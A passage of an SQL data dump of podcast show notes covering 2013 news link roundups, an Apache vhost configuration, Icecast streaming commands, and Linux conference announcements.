</UL>\r\n</UL>\r\n',225,42,1,'CC-BY-SA','Magnatune,API,Bash,XML,XSLT,xsltproc',0,1733,1),
(1205,'2013-03-15','TGTM Newscast for 3/10/2013',1154,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a href=\"https://www.democracynow.org/2013/3/6/headlines#365\">Kerry:\r\nU.S. Involved in Talks on Arming Rebels</a>\r\n</li>\r\n<li><a\r\nhref=\"https://peoplesworld.org/hugo-chavez-popular-venezuelan-president-dies/\">Hugo\r\nChavez, popular Venezuelan president, dies</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20130305/03020122199/bradley-manning-nominated-nobel-peace-prize-as-people-begin-realizing-how-damaging-his-case-is-to-free-press.shtml\">Bradley\r\nManning Nominated For Nobel Peace Prize As People Begin Realizing How\r\nDamaging His Case Is To A Free Press</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.thestand.org/2013/03/american-austerity-isnt-working-except-for-the-top-1/\">Austerity\r\ncuts aren’t working, except for America’s top 1%</a>\r\n</li>\r\n<li><a\r\nhref=\"https://maggiemcneill.wordpress.com/2013/03/05/no-friend-of-ours/\">No\r\nFriend of Ours</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/u-s-government-wins-appeal-in-kim-dotcom-extradition-battle-120301/\">U.S.\r\nGovernment Wins Appeal in Kim Dotcom Extradition Battle</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/the-pirate-bay-moves-to-north-korea-gets-virtual-asylum-130304/\">The\r\nPirate Bay ‘Moves’ to North Korea </a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.allgov.com/news/controversies/next-up-for-big-brother-recording-and-transcribing-public-conversations-130305?news=847264\">Next\r\nUp for Big Brother: Recording and Transcribing Public Conversations</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2013/03/white-house-supports-unlocking-phones-real-problem-runs-deeper\">White\r\nHouse Supports Unlocking Phones -- But the Real Problem Runs Deeper</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2013/02/firefoxs-new-smarter-cookie-policy-clear-win-users\">Firefox\'s\r\nnew, smarter cookie policy is a privacy win for users</a>\r\n</li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a href=\"https://www.democracynow.org/2013/3/6/headlines#369\">Landmark\r\n\"Operation Condor\" Trial Opens in Argentina </a>\r\n</li>\r\n<li><a href=\"https://rt.com/op-edge/manning-pleads-guilty-hero-650/\">‘Manning’s\r\npleas prove he is a hero’</a>\r\n</li>\r\n<li><a\r\nhref=\"https://inthesetimes.com/article/14684/can_civilization_survive_capitalism/\">Can\r\nCivilization Survive Capitalism?</a>\r\n</li>\r\n<li><a\r\nhref=\"https://rhrealitycheck.org/article/2013/03/05/birth-control-and-the-myth-of-the-judeo-christian-tradition/\">Birth\r\nControl and “The Myth of the Judeo-Christian Tradition”</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.aclu.org/blog/technology-and-liberty-free-speech-national-security/drone-nightmare-scenario-now-has-physical\">Drone\r\n‘Nightmare Scenario’ Now Has A Name: ARGUS</a>\r\n</li>\r\n</ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by\r\nDeepGeek, views of the story\r\nauthors reflect their own opinions and not neccesarily those of TGTM\r\nnews.\r\n</p>\r\n<p>News from \"techdirt.com,\" \"thestand.org,\"\r\n\"maggiemcneill.wordpress.com,\"\r\nand\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"eff.org,\" and \"torrentfreak.com\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"democracynow.org,\" and\r\n\"peoplesworld.org\" used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.democracynow.org/2013/3/6/headlines#365\">https://www.democracynow.org/2013/3/6/headlines#365</a></li>\r\n<li><a href=\"https://peoplesworld.org/hugo-chavez-popular-venezuelan-president-dies/\">https://peoplesworld.org/hugo-chavez-popular-venezuelan-president-dies/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130305/03020122199/bradley-manning-nominated-nobel-peace-prize-as-people-begin-realizing-how-damaging-his-case-is-to-free-press.shtml\">https://www.techdirt.com/articles/20130305/03020122199/bradley-manning-nominated-nobel-peace-prize-as-people-begin-realizing-how-damaging-his-case-is-to-free-press.shtml</a></li>\r\n<li><a href=\"https://www.thestand.org/2013/03/american-austerity-isnt-working-except-for-the-top-1/\">https://www.thestand.org/2013/03/american-austerity-isnt-working-except-for-the-top-1/</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2013/03/05/no-friend-of-ours/\">https://maggiemcneill.wordpress.com/2013/03/05/no-friend-of-ours/</a></li>\r\n<li><a href=\"https://torrentfreak.com/u-s-government-wins-appeal-in-kim-dotcom-extradition-battle-120301/\">https://torrentfreak.com/u-s-government-wins-appeal-in-kim-dotcom-extradition-battle-120301/</a></li>\r\n<li><a href=\"https://torrentfreak.com/the-pirate-bay-moves-to-north-korea-gets-virtual-asylum-130304/\">https://torrentfreak.com/the-pirate-bay-moves-to-north-korea-gets-virtual-asylum-130304/</a></li>\r\n<li><a href=\"https://www.allgov.com/news/controversies/next-up-for-big-brother-recording-and-transcribing-public-conversations-130305?news=847264\">https://www.allgov.com/news/controversies/next-up-for-big-brother-recording-and-transcribing-public-conversations-130305?news=847264</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/03/white-house-supports-unlocking-phones-real-problem-runs-deeper\">https://www.eff.org/deeplinks/2013/03/white-house-supports-unlocking-phones-real-problem-runs-deeper</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/02/firefoxs-new-smarter-cookie-policy-clear-win-users\">https://www.eff.org/deeplinks/2013/02/firefoxs-new-smarter-cookie-policy-clear-win-users</a></li>\r\n<li><a href=\"https://www.democracynow.org/2013/3/6/headlines#369\">https://www.democracynow.org/2013/3/6/headlines#369</a></li>\r\n<li><a href=\"https://rt.com/op-edge/manning-pleads-guilty-hero-650/\">https://rt.com/op-edge/manning-pleads-guilty-hero-650/</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/14684/can_civilization_survive_capitalism/\">https://inthesetimes.com/article/14684/can_civilization_survive_capitalism/</a></li>\r\n<li><a href=\"https://rhrealitycheck.org/article/2013/03/05/birth-control-and-the-myth-of-the-judeo-christian-tradition/\">https://rhrealitycheck.org/article/2013/03/05/birth-control-and-the-myth-of-the-judeo-christian-tradition/</a></li>\r\n<li><a href=\"https://www.aclu.org/blog/technology-and-liberty-free-speech-national-security/drone-nightmare-scenario-now-has-physical\">https://www.aclu.org/blog/technology-and-liberty-free-speech-national-security/drone-nightmare-scenario-now-has-physical</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,1901,1),
(1206,'2013-03-18','Resolving Issues (The Vhost Config File)',3796,'Windigo helps NYbill set up multiple servers on his VPS by explaining the vhost configuration file','<p>\r\nWindigo helps NYbill as he trys to set up mutiple servers on his VPS by explaining the\r\nstucture of the vhost file.\r\n</p>\r\n<pre>\r\nNameVirtualHost *:80\r\n\r\n#this first virtualhost enables: https://127.0.0.1, or: https://localhost, \r\n#to still go to /srv/http/*index.html(otherwise it will 404_error).\r\n#the reason for this: once you tell httpd.conf to include extra/httpd-vhosts.conf, \r\n#ALL vhosts are handled in httpd-vhosts.conf(including the default one),\r\n# E.G. the default virtualhost in httpd.conf is not used and must be included here, \r\n#otherwise, only domainname1.dom &amp; domainname2.dom will be accessible\r\n#from your web browser and NOT https://127.0.0.1, or: https://localhost, etc.\r\n#\r\n\r\n&lt;VirtualHost *:80&gt;\r\n    DocumentRoot \"/srv/http\"\r\n    ServerAdmin root@localhost\r\n    ErrorLog \"/var/log/httpd/127.0.0.1-error_log\"\r\n    CustomLog \"/var/log/httpd/127.0.0.1-access_log\" common\r\n    &lt;Directory /srv/http/&gt;\r\n      DirectoryIndex index.htm index.html\r\n      AddHandler cgi-script .cgi .pl\r\n      Options ExecCGI Indexes FollowSymLinks MultiViews +Includes\r\n      AllowOverride None\r\n      Order allow,deny\r\n      Allow from all\r\n    &lt;/Directory&gt;\r\n&lt;/VirtualHost&gt;\r\n\r\n&lt;VirtualHost *:80&gt;\r\n    ServerAdmin your@domainname1.dom\r\n    DocumentRoot \"/home/username/yoursites/domainname1.dom/www\"\r\n    ServerName domainname1.dom\r\n    ServerAlias domainname1.dom\r\n    &lt;Directory /home/username/yoursites/domainname1.dom/www/&gt;\r\n      DirectoryIndex index.htm index.html\r\n      AddHandler cgi-script .cgi .pl\r\n      Options ExecCGI Indexes FollowSymLinks MultiViews +Includes\r\n      AllowOverride None\r\n      Order allow,deny\r\n      Allow from all\r\n&lt;/Directory&gt;\r\n&lt;/VirtualHost&gt;\r\n\r\n&lt;VirtualHost *:80&gt;\r\n    ServerAdmin your@domainname2.dom\r\n    DocumentRoot \"/home/username/yoursites/domainname2.dom/www\"\r\n    ServerName domainname2.dom\r\n    ServerAlias domainname2.dom\r\n    &lt;Directory /home/username/yoursites/domainname2.dom/www/&gt;\r\n      DirectoryIndex index.htm index.html\r\n      AddHandler cgi-script .cgi .pl\r\n      Options ExecCGI Indexes FollowSymLinks MultiViews +Includes\r\n      AllowOverride None\r\n      Order allow,deny\r\n      Allow from all\r\n&lt;/Directory&gt;\r\n&lt;/VirtualHost&gt;\r\n</pre>\r\n',196,0,1,'CC-BY-SA','apache,web server,server,hosting,mediagoblin,vhosts',0,1986,1),
(1207,'2013-03-19','Icecast 101',2233,'How to run Icecast - part 1','<p>\r\nKlaatu talks about how to set up Icecast, new Ices, old Ices, and a\r\nnice little (simple) HTML5 player. This is part one of a\r\ntwo-part series.\r\n</p>\r\n<p>\r\nHere are the raw commands for Icecast, Ices, and Ices-cc:\r\n</p>\r\n<pre>\r\n#start the streaming server\r\nicecast -c /etc/icecast.xml -B\r\n\r\n#start the mp3 stream\r\nices-cc -c /etc/ices-cc.conf -F /home/dj/playlist.txt -R -b 96 -m mp3 -P radio\r\n\r\n# start the ogg stream\r\nices /etc/ices/ices-playlist.xml\r\n</pre>\r\n<p>\r\nHere is the code for the simple HTML5 player that Klaatu mentions in\r\nthe episode. It\'s straight HTML5 but in case you\'re new to HTML5\r\nthen this could be useful:\r\n</p>\r\n<pre>\r\n&lt;!DOCTYPE html&gt;\r\n&lt;html lang=\"en\"&gt;\r\n  &lt;head&gt;\r\n    &lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" /&gt;\r\n    &lt;title&gt;My Great Streaming Server Example dot Com&lt;/title&gt;\r\n&lt;/head&gt;\r\n&lt;div id=\"player\"&gt;\r\n&lt;audio width=\"100px\" height=\"200px\" autoplay loop controls autobuffer preload=\"auto\"&gt;\r\n      &lt;source src=\"<a href=\"https://example.com:8000/mp3\">https://example.com:8000/mp3</a>\" type=\"audio/mp3\" /&gt;\r\n      &lt;source src=\"<a href=\"https://example.com:8000/ogg\">https://example.com:8000/ogg</a>\" type=\"audio/ogg\" /&gt;\r\n&lt;/audio&gt;\r\n&lt;/div&gt;\r\n  &lt;/body&gt;\r\n&lt;/html&gt;\r\n</pre>\r\n\r\n<p>\r\nKlaatu is indebted to Kwisher, Delwin, and Ruji for their help on this\r\nseries.\r\n</p>',78,0,1,'CC-BY-SA','Icecast,Ices,Ices-cc',0,1889,1),
(1208,'2013-03-20','Northeast Linux Fest 2013 p1-3',1267,'Interviews from NELF, part 1','<p>\r\nIn the first in our series of \"Live\" reports from \"The northeast GNU/Linux fest\", our roving reporters track down interviewees on the show floor.\r\n</p>\r\n<p>\r\nFrom <a href=\"https://www.northeastlinuxfest.org/About%20us\">https://www.northeastlinuxfest.org/About%20us</a><br />\r\n<em>\r\nThe northeast GNU/Linux fest is an advocate of Free software. We hope to bring awareness of Free software to college students their schools, programmers and businesses. We welcome everyone from the new user to the people that have been there from the beginning. \r\n</em>\r\n</p>\r\n',235,0,1,'CC-BY-SA','\"Northeast Linux Fest\",NELF,interview',0,1853,1),
(1209,'2013-03-21','Northeast Linux Fest 2013 p2-3',2792,'Interviews from NELF, part 2','<p>In the second in our series of \"Live\" reports from \"The northeast GNU/Linux fest\", our roving reporters track down Jon \"maddog\" Hall who is the Executive Director of Linux International, a non-profit organization of computer professionals who wish to support and promote Linux-based operating systems.<br />\n<a href=\"https://en.wikipedia.org/wiki/Jon_Hall_%28programmer%29\">https://en.wikipedia.org/wiki/Jon_Hall_%28programmer%29</a>\n</p>\n<p>\nFrom <a href=\"https://www.northeastlinuxfest.org/About%20us\">https://www.northeastlinuxfest.org/About%20us</a><br>\n<em>\nThe northeast GNU/Linux fest is an advocate of Free software. We hope to bring awareness of Free software to college students their schools, programmers and businesses. We welcome everyone from the new user to the people that have been there from the beginning. \n</em>\n</p>\n',235,0,1,'CC-BY-SA','\"Northeast Linux Fest\",NELF,interview',0,1827,1),
(1210,'2013-03-22','Northeast Linux Fest 2013 p3-3',936,'Interviews from NELF, part 3','<p>\nIn the third in our series of \"Live\" reports from \"The northeast GNU/Linux fest\", our roving reporters track down interviewees on the show floor.\n</p>\n<p>\nFrom <a href=\"https://www.northeastlinuxfest.org/About%20us\">https://www.northeastlinuxfest.org/About%20us</a><br>\n<em>\nThe northeast GNU/Linux fest is an advocate of Free software. We hope to bring awareness of Free software to college students their schools, programmers and businesses. We welcome everyone from the new user to the people that have been there from the beginning. \n</em>\n</p>\n',235,0,1,'CC-BY-SA','\"Northeast Linux Fest\",NELF,interview',0,1904,1),
(1211,'2013-03-25','NELF Wrapup',3369,'Final report from the Northeast GNU/Linux Fest 2013','In the last of in our series of reports from \"The northeast GNU/Linux fest\", we have a wrap-up session with Russ.\r\n<p></p>\r\n<p>\r\nFrom <a href=\"https://www.northeastlinuxfest.org/About%20us\">https://www.northeastlinuxfest.org/About%20us</a><br>\r\n<em>\r\nThe northeast GNU/Linux fest is an advocate of Free software. We hope to bring awareness of Free software to college students their schools, programmers and businesses. We welcome everyone from the new user to the people that have been there from the beginning. \r\n</em></p>\r\n',109,0,1,'CC-BY-SA','\"Northeast Linux Fest\",NELF,interview',0,1786,1),
(1212,'2013-03-26','TGTM Newscast for 3/22/2013 Rebecca \"Bobobex\" Newborough',867,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/8224\">Chavez\r\nSucceeded Where Obama Failed</a>\r\n</li>\r\n<li><a\r\nhref=\"https://inthesetimes.com/article/14703/beyond_the_pale_too_big_to_jail/\">Too\r\nBig to Jail</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.emptywheel.net/2013/03/14/tragic-loss-in-pakistan-parveen-rehman-gunned-down/\">Tragic\r\nLoss in Pakistan: Parveen Rehman Gunned Down</a>\r\n</li>\r\n<li><a\r\nhref=\"https://rhrealitycheck.org/article/2013/03/14/contradictions-and-conservatism-muddle-hopes-for-change-under-jesuit-pope/\">Contradictions\r\nand Conservatism Muddle Hopes for Change Under Jesuit Pope</a>\r\n</li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2013/03/14/watershed/\">Watershed</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2013/03/finally-some-limit-electronic-searches-border\">Finally,\r\nSome Limit to Electronic Searches at the Border</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2013/03/google-censoring-android-apps\">Google\r\nTakes the Dark Path, Censors AdBlock Plus on Android</a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/3/13/headlines#3138\">Cyber-Attacks\r\nMore of a Threat to U.S. Than al-Qaeda </a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20130313/18221122316/details-come-out-us-attorneys-withholding-evidence-aaron-swartz-case.shtml\">Details\r\nCome Out On US Attorneys Withholding Evidence In Aaron Swartz Case</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/blog/startups/articles/20130228/00041522145/kickstarter-projects-that-dont-meet-their-goal-are-not-failures-they-help-people-avoid-failures.shtml\">Kickstarter\r\nProjects That Don\'t Meet Their Goal Are Not \'Failures\'; They Help\r\nPeople Avoid Failures</a>\r\n</li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a href=\"https://www.havanatimes.org/?p=89591\">L.A. Times Calls\r\nfor Removal of Cuba from Terrorism List </a>\r\n</li>\r\n<li><a\r\nhref=\"https://rabble.ca/blogs/bloggers/ethan-cox/2013/03/interviewed-icelandic-activist-who-took-down-his-government\">Interviewed:\r\nIcelandic activist who took down his government </a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=89605\">Talking About the\r\nLegacy of Hugo Chavez </a>\r\n</li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/8217\">Chávez is\r\nDead but the Media Vilificaton of Him is Alive and Kicking </a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/giganews-golden-frog-founder-fires-off-at-dropbox-and-mega-130314/\">Giganews\r\n/ Golden Frog Founder Fires Off at Dropbox and Mega</a>\r\n</li>\r\n</ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by\r\nDeepGeek, views of the story\r\nauthors reflect their own opinions and not neccesarily those of TGTM\r\nnews.\r\n</p>\r\n<p>News from \"techdirt.com,\" \"emptywheel.net,\"&nbsp;\r\n\"inthesetimes.com,\"\r\nand\r\n\"maggiemcneill.wordpress.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"rhrealitycheck.org\" used under permission of the Creative\r\nCommons by-attribution share-alike license.<br />\r\n</p>\r\n<p>News from \"venezuelanalysis.com,\" and \"democracynow.org,\" used under\r\npermission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links </h2>\r\n<ul>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/8224\">https://venezuelanalysis.com/analysis/8224</a>\r\n</li>\r\n<li><a href=\"https://inthesetimes.com/article/14703/beyond_the_pale_too_big_to_jail/\">https://inthesetimes.com/article/14703/beyond_the_pale_too_big_to_jail/</a>\r\n</li>\r\n<li><a href=\"https://www.emptywheel.net/2013/03/14/tragic-loss-in-pakistan-parveen-rehman-gunned-down/\">https://www.emptywheel.net/2013/03/14/tragic-loss-in-pakistan-parveen-rehman-gunned-down/</a>\r\n</li>\r\n<li><a href=\"https://rhrealitycheck.org/article/2013/03/14/contradictions-and-conservatism-muddle-hopes-for-change-under-jesuit-pope/\">https://rhrealitycheck.org/article/2013/03/14/contradictions-and-conservatism-muddle-hopes-for-change-under-jesuit-pope/</a>\r\n</li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2013/03/14/watershed/\">https://maggiemcneill.wordpress.com/2013/03/14/watershed/</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/03/finally-some-limit-electronic-searches-border\">https://www.eff.org/deeplinks/2013/03/finally-some-limit-electronic-searches-border</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/03/google-censoring-android-apps\">https://www.eff.org/deeplinks/2013/03/google-censoring-android-apps</a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/3/13/headlines#3138\">https://www.democracynow.org/2013/3/13/headlines#3138</a>\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130313/18221122316/details-come-out-us-attorneys-withholding-evidence-aaron-swartz-case.shtml\">https://www.techdirt.com/articles/20130313/18221122316/details-come-out-us-attorneys-withholding-evidence-aaron-swartz-case.shtml</a>\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/blog/startups/articles/20130228/00041522145/kickstarter-projects-that-dont-meet-their-goal-are-not-failures-they-help-people-avoid-failures.shtml\">https://www.techdirt.com/blog/startups/articles/20130228/00041522145/kickstarter-projects-that-dont-meet-their-goal-are-not-failures-they-help-people-avoid-failures.shtml</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=89591\">https://www.havanatimes.org/?p=89591</a>\r\n</li>\r\n<li><a href=\"https://rabble.ca/blogs/bloggers/ethan-cox/2013/03/interviewed-icelandic-activist-who-took-down-his-government\">https://rabble.ca/blogs/bloggers/ethan-cox/2013/03/interviewed-icelandic-activist-who-took-down-his-government</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=89605\">https://www.havanatimes.org/?p=89605</a>\r\n</li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/8217\">https://venezuelanalysis.com/analysis/8217</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/giganews-golden-frog-founder-fires-off-at-dropbox-and-mega-130314/\">https://torrentfreak.com/giganews-golden-frog-founder-fires-off-at-dropbox-and-mega-130314/</a>\r\n<p></p>\r\n</li>\r\n</ul>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,1686,1),
(1213,'2013-03-27','LiTS 026: units',983,'Unit conversion and calculation program: <em>units</em>','<p>Last episode of Linux in the Shell discussed the use of the bc command to perform math on the command line. This episode continues in suit with a mathematical theme picking up from the last examples of converting between different number systems or units. While bc can help you convert between units if you know the formulas, there is another program which will do it all for your units. Chances are units is not installed by default but a simple check in your package manager should allow you to add units to your daily tool set.\r\n</p>\r\n<p>\r\nFor more on this post and to see the video please see the main article<br />\r\n<a href=\"https://www.linuxintheshell.com/2013/03/27/episode-26-units/\">https://www.linuxintheshell.com/2013/03/27/episode-26-units/</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','units',0,2406,1),
(1214,'2013-03-28','LinuxFest Northwest is April 27, 28,2013',2252,'An Interview with Jakob Perry https://linuxfestnorthwest.org','<p>\r\nLinuxFest Northwest is April 27, 28, 2013 - an Interview with Jakob Perry <a href=\"https://linuxfestnorthwest.org\">https://linuxfestnorthwest.org</a>\r\n</p>\r\n<p>\r\nSeries/Tags: Show notes, Jakob Perry, LinuxFest Northwest, beer, Linux, Bellingham, Bellingham Technical College, Bellingham Linux Users Group\r\n</p>\r\n<p>\r\nAn interview with Jakob Perry by David Whitman\r\n</p>\r\n<p>\r\nLinuxFest Nothwest is to be held April 27, 28, 2013\r\n</p>\r\n<p>\r\nWebsite is <a href=\"https://linuxfestnorthwest.org\">https://linuxfestnorthwest.org</a>\r\n</p>\r\n<p>\r\nPlan to attend if you can.\r\n</p>\r\n<p>\r\nLinuxFest Northwest is an annual event produced by the Bellingham Linux Users Group, and volunteers from other northwest U.S. open source users groups. It is held on the campus of Bellingham Technical College (directions at the BTC website under ABOUT BTC). The Fest features Linux and open source experts and aficionados sharing their experience and enthusiasm with a wide variety of free and open source technologies.\r\n</p>\r\n<p>\r\nThis generally means that there will be a lot of smart people who come with something to share and a desire to learn. This is a low cost/high value event that\'s held on a weekend, so there are also folks who don\'t usually go to commercial conferences. All in all, it\'s a lot of fun with fresh faces on eager people.\r\n</p>',209,0,1,'CC-BY-SA','\"Jakob Perry\",\"LinuxFest Northwest\",beer,Linux,Bellingham,\"Bellingham Technical College\",\"Bellingham Linux Users Group\"',0,1693,1),
(1221,'2013-04-08','TGTM Newscast 93 for 2013-04-02 DeepGeek and Dann Washko ',1152,'A newscast from Talk Geek to Me','<p>Here is a news review:</p> \r\n<ul> \r\n<li>\r\n<a href=\"https://www.democracynow.org/2013/3/27/headlines#3278\">BRICS Countries Plan New Development Bank in Challenge to U.S.-Dominated World Bank, IMF </a> </li> \r\n<li>\r\n<a href=\"https://www.democracynow.org/2013/3/28/headlines#3287\">Report: Official Promoted to Top CIA Post Linked to Black Sites, Destruction of Torture Tapes </a> </li> \r\n<li>\r\n<a href=\"https://inthesetimes.com/article/14785/labor_law_loses_its_watchdog/\">Labor Law Loses Its Watchdog</a> </li> \r\n<li>\r\n<a href=\"https://rhrealitycheck.org/article/2013/03/28/lt-dan-choi-convicted-for-dont-ask-dont-tell-protest/\">Lt. Dan Choi Convicted for ‘Don’t Ask, Don’t Tell’ Protest</a> </li> \r\n<li>\r\n<a href=\"https://www.allgov.com/news/where-is-the-money-going/us-spent-37-million-dollars-on-ex-presidents-in-2012-george-w-bush-the-most-costly-130328?news=849569\">U.S. Spent $3.7 Million on Ex-Presidents in 2012; George W. Bush the Most Costly</a> </li> \r\n<li>\r\n<a href=\"https://www.democracynow.org/2013/3/26/headlines#32610\">NATO Researchers: U.S.-Israeli Cyber-Attack on Iran Was Illegal \"Act of Force\" </a> </li> \r\n<li>\r\n<a href=\"https://www.techdirt.com/articles/20130324/14342822435/rather-than-fix-cfaa-house-judiciary-committee-planning-to-make-it-worse-way-worse.shtml\">Rather Than Fix The CFAA, House Judiciary Committee Planning To Make It Worse... Way Worse</a> </li> \r\n<li>\r\n<a href=\"https://torrentfreak.com/bittorrent-s-bram-cohen-patents-revolutionary-live-streaming-protocol-130326/\">BitTorrent ‘s Bram Cohen Patents Revolutionary Live Streaming Protocol</a> </li> \r\n<li>\r\n<a href=\"https://www.techdirt.com/articles/20130327/15223122490/doj-mislead-judges-how-much-it-was-using-stingray-mobile-surveillance.shtml\">DOJ Misled Judges For Years About How It Was Using Stingray Devices To Spy On People</a> </li> \r\n<li>\r\n<a href=\"https://www.techdirt.com/articles/20130327/10355122485/government-can-keep-key-emails-with-hollywood-lobbyists-about-six-strikes-secret.shtml\">Government Can Keep Key Emails With Hollywood Lobbyists About \'Six Strikes\' Secret</a> </li> </ul> \r\n<p>Other Headlines:</p> \r\n<ul> \r\n<li>\r\n<a href=\"https://sacsis.org.za/site/article/1617\">BRICS Go Over the Wall</a> </li> \r\n<li>\r\n<a href=\"https://venezuelanalysis.com/analysis/8377\">Venezuela, Chavez, and the Women’s Revolution</a> </li> \r\n<li>\r\n<a href=\"https://inthesetimes.com/article/14784/banks_betrayal_and_bankruptcy/\">Can You Trust Big Banks With Your Money?</a> </li> \r\n<li>\r\n<a href=\"https://torrentfreak.com/new-zealand-gave-kim-dotcom-residency-knowing-he-was-wanted-by-fbi-130325/\">New Zealand Gave Kim Dotcom Residency, Knowing He Was Wanted By FBI</a> </li> \r\n<li>\r\n<a href=\"https://torrentfreak.com/websites-can-legally-pirate-porn-movies-prosecutors-rule-130123/\">Websites Can Legally Pirate Porn Movies, Prosecutors Rule</a> </li> </ul> \r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by DeepGeek, views of the story authors reflect their own opinions and not neccesarily those of TGTM news. </p> \r\n<p>News from \"techdirt.com,\" \"inthesetimes.com,\" and \"allgov.com\" used under&nbsp;arranged permission.</p> \r\n<p>News from \"rhrealitycheck.org\" used under terms of their republication policy. \r\n<br /> </p> \r\n<p>News from \"torrentfreak.com\" used under permission of the Creative Commons by-attribution&nbsp;license.</p> \r\n<p>News from \"democracynow.org,\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.\r\n<br /> </p> \r\n<p>News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<ul> \r\n<li><a href=\"https://www.democracynow.org/2013/3/27/headlines#3278\">https://www.democracynow.org/2013/3/27/headlines#3278</a></li>\r\n<li><a href=\"https://www.democracynow.org/2013/3/28/headlines#3287\">https://www.democracynow.org/2013/3/28/headlines#3287</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/14785/labor_law_loses_its_watchdog/\">https://inthesetimes.com/article/14785/labor_law_loses_its_watchdog/</a></li>\r\n<li><a href=\"https://rhrealitycheck.org/article/2013/03/28/lt-dan-choi-convicted-for-dont-ask-dont-tell-protest/\">https://rhrealitycheck.org/article/2013/03/28/lt-dan-choi-convicted-for-dont-ask-dont-tell-protest/</a></li>\r\n<li><a href=\"https://www.allgov.com/news/where-is-the-money-going/us-spent-37-million-dollars-on-ex-presidents-in-2012-george-w-bush-the-most-costly-130328?news=849569\">https://www.allgov.com/news/where-is-the-money-going/us-spent-37-million-dollars-on-ex-presidents-in-2012-george-w-bush-the-most-costly-130328?news=849569</a></li>\r\n<li><a href=\"https://www.democracynow.org/2013/3/26/headlines#32610\">https://www.democracynow.org/2013/3/26/headlines#32610</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130324/14342822435/rather-than-fix-cfaa-house-judiciary-committee-planning-to-make-it-worse-way-worse.shtml\">https://www.techdirt.com/articles/20130324/14342822435/rather-than-fix-cfaa-house-judiciary-committee-planning-to-make-it-worse-way-worse.shtml</a></li>\r\n<li><a href=\"https://torrentfreak.com/bittorrent-s-bram-cohen-patents-revolutionary-live-streaming-protocol-130326/\">https://torrentfreak.com/bittorrent-s-bram-cohen-patents-revolutionary-live-streaming-protocol-130326/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130327/15223122490/doj-mislead-judges-how-much-it-was-using-stingray-mobile-surveillance.shtml\">https://www.techdirt.com/articles/20130327/15223122490/doj-mislead-judges-how-much-it-was-using-stingray-mobile-surveillance.shtml</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130327/10355122485/government-can-keep-key-emails-with-hollywood-lobbyists-about-six-strikes-secret.shtml\">https://www.techdirt.com/articles/20130327/10355122485/government-can-keep-key-emails-with-hollywood-lobbyists-about-six-strikes-secret.shtml</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1617\">https://sacsis.org.za/site/article/1617</a></li>\r\n<li><a 